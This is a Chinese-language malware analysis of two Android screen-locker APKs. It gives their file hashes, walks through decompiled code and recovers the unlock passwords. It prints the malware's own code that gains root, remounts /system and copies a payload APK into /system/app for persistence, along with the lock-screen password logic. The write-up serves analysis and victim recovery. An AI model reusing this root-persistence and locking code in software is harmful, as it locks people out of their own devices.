免流服务器-锁机病毒分析
首先来分析这个免流服务器的锁机病毒,文件信息如下
文件: 免流服务器.apk
大小: 799835 bytes
修改时间: 2016年3月 16日, 23:26:10
MD5: 2EFCA46F34A565C2EF4052B89B6B364B
SHA1: 5493A958A592BB0B19C43ACB2C1F52C898885207
CRC32: 7F89A927
安装以后点击安装核心按钮
这里在请求root权限,点击允许
按照提示重启模拟器
重启完成之后手机被锁屏。将apk拖到Android Killer进行分析
首先查看工程信息,这里可以查看到当前apk的四大组件的注册信息以及用户权限。
然后查看当前工程的清单文件,入口类为MainActivity
直接查看onCreate函数的JAVA代码,从头开始分析。
这里创建了一个文件对象stk3.apk,然后往路径中写入文件数据。
写入的文件数据来自于getAssets方法中的stk3.apk文件。
getAssets方法的含义就是获取当前apk的assets文件夹,当前apk的assets有下面几个自定义资源文件
上面的代码写入的数据就是来源于stk3.apk
Android Killer的反编译效果并不好,这里可以换成jadx进行对比分析。到这里onCreate方法就分析完了,该app启动时,会自动将资源中的stk3.apk写入到SD卡中。
接着查看资源中的layout布局文件
安装核心这个按钮,有一个对应的onClick方法,接着来分析这个onClick方法
az这个方法是将stk3.apk拷贝到系统,点进去看CopyAppToSystem函数
private void copyAppToSystem(String str) {
try {
Process root = getRoot();
if (root != null) {
DataOutputStream dataOutputStream = new DataOutputStream(root.getOutputStream());
dataOutputStream.writeBytes("mount -o remount, rw /system/\n");
dataOutputStream.writeBytes(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append("cp ").append(str).toString()).append(" /system/app/").toString()).append("\n").toString());
dataOutputStream.writeBytes(new StringBuffer().append(new StringBuffer().append(this.CHMOD_CMD).append(str.substring(str.lastIndexOf("/"))).toString()).append("\n").toString());
dataOutputStream.writeBytes("exit\n");
root.waitFor();
dataOutputStream.close();
Toast.makeText(this, "开始安装核心文件....", 0).show();
Toast.makeText(this, "正在进行最后处理....", 0).show();
Toast.makeText(this, "核心文件安装完成!重启手机后生效!", 0).show();
}
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "核心文件安装错误!请确认手机是否已经root!", 0).show();
}
}
这个方法做了以下几件事
- 获取root权限
- 执行shell命令,修改系统目录
- 将stk3.apk拷贝到system/app目录下
- 修改apk权限为777,可读可写可执行
- 执行退出命令
- 提示用户重启手机
接着来分析stk3.apk
查看工程信息,确定入口类
再查看清单文件,清单文件中有开机自启动的权限以及一个广播接收者,也就是说开机之后会自动执行广播接收者的回调函数
再来查看入口类的代码
onCreate方法中启动了一个名为llxfc的服务
在onStartCommand方法里,创建了一个覆盖桌面的窗口,并且设置了42个按钮,这里只要找到了解锁按钮对应的响应事件就能够找到密码
而解锁按钮必然要获取输入的内容进行比较
这里直接搜索equals就能找到响应函数
@Override
public void onClick(View paramAnonymousView)
{
if ((llxfc.access$L1000000(llxfc.this).getText().toString().equals("T")) && (llxfc.access$L1000001(llxfc.this).getText().toString().equals("F")) && (llxfc.access$L1000002(llxfc.this).getText().toString().equals("B")) && (llxfc.access$L1000003(llxfc.this).getText().toString().equals("4"))) {
llxfc.access$L1000005(llxfc.this).removeView(llxfc.access$L1000006(llxfc.this));
}
}
});
这里很容易就能看到密码是TFB4
输入TFB4,点击解锁
即可完成解密
秒抢红包-锁机病毒分析
样本信息如下:
文件: 锁机-秒抢红包.apk
大小: 251271 bytes
修改时间: 2016年4月 15日, 23:37:26
MD5: 033AE1BA78676130E99ACC8D9F853124
SHA1: B43F731C59FF37602CB9F971F893965EF19C9DEE
CRC32: AAC480FC
运行样本,提示是否激活设备管理器
点击激活后,返回主界面,模拟器被锁屏。这个样本是个双重密码,安装完成后有运行时解锁密码,重启之后有屏幕锁屏密码
将文件用Android Killer打开,查看工程信息,
接着查看onCreate方法,里面调用了activiteDevice方法,跟进去查看代码
这个函数创建了一个Intent,获取一个Class,接着启动了这个设备管理器。接着来查看MyAdmin这个类
分析onEnabled函数,这个是设备管理器的激活方法,很明显就能看出密码就是8985,但是这个8985并不是当前这一层的解锁密码。
接着又启动了一个服务,就是说com.h.s这个类是一个服务类,剩下的代码都在服务里面。首先查看服务的onCreate方法
这里创建了一个pass和passw对象,和一个des算法对象
this.pass = ((Math.random() * 100000000));
this.passw = new Long(this.pass + '?');
this.des = new DU("flower");
接着获取Flowers这个xml文件
this.share = getSharedPreferences("Flowers", 0);
如果Flowers.xml里面的m等于0的话,就往里面写入pass这个值
if (this.share.getLong("m", 0) == 0)
{
this.editor.putLong("m", this.pass);
this.editor.commit();
}
往 this.editor写入passw和加密后的字符串
this.editor.putString("passw", this.des.encrypt(new StringBuffer().append("").append(this.passw).toString()));
this.editor.commit();
也就是说Flowers.xml里面有两个数据,一个是m对应的value,一个是passw对应的value。接着我们用adb连接模拟器,去查看这个文件的内容
首先查看当前设备,确认连接成功
接着使用adb shell命令,进入到命令行
切换到data/data/com.h
目录下,里面有一个文件夹shared_prefs
查看Flowers.xml,可以看到m的值和passw的值
回到代码,m的值就是pass,而passw就是pass加上8985,所以passw的值就等于65475849,这个就是第一层的密码
输入密码之后,第一层解锁完成
再输入8985,第二层解锁完成,到这里这个锁机病毒就分析完成了。